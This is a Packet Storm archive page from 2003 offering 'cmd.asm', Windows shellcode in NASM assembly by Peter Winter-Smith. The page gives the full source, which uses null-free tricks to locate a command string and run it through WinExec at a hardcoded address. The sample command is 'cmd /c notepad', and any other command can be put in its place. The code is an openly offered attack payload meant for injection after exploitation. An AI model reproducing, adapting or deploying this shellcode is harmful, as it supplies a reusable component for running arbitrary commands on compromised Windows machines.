exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cmd.asm

cmd.asm
Posted Jul 14, 2003
Authored by Peter Winter-Smith

Simple shellcode that allows command execution on Microsoft Windows platforms.

tags | shellcode
systems | windows
SHA-256 | a5a6d5c1a064493d07a7279f0875d3e18e7199ccc79e6c56780408cd1ef3e18c

cmd.asm

Change Mirror Download
; Hardcoded SP independent command executing
; shellcode.
; Peter4020@hotmail.com
;
; nasmw -s -fbin -o cmd.s cmd.asm

bits 32

start:
jmp short data ; jump to call back for data address

continue:
pop edi ; edi = data address :o)
mov ecx, 11111111h ; max command length = 286331153 bytes ;o)
mov ebx, ecx ; save max command length

scan:
cld ; direction flag = 0 (auto increment)
mov al, 0ffh ; look for byte 0xff
repne scasb ; repeat while not found
xchg ebx, ecx ; when found, restore ecx; ebx = ecx - repetitions
sub ecx, ebx ; ecx = length of data string
add edi, 11111110h ; null friendly addition
sub edi, 11111111h ; sub one more than added = sub edi, 01h
inc byte [edi] ; make our 0xff a NULL
add ecx, 11111110h ; ...
sub ecx, 11111111h ; ...
sub edi, ecx ; edi = start of string
xor esi, esi ; clear esi
inc esi ; winexec; cmdshow; 01h (sw_normal)
push esi ; set up winexec
push edi ; ...
mov eax, 77e6fd35h ; winexec
call eax ; run data string of commands
int 3h ; die, my friend, die (well crash!)

data:
call continue ; call back
db "cmd /c notepad", 0ffh ; is there no end to the evil?
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close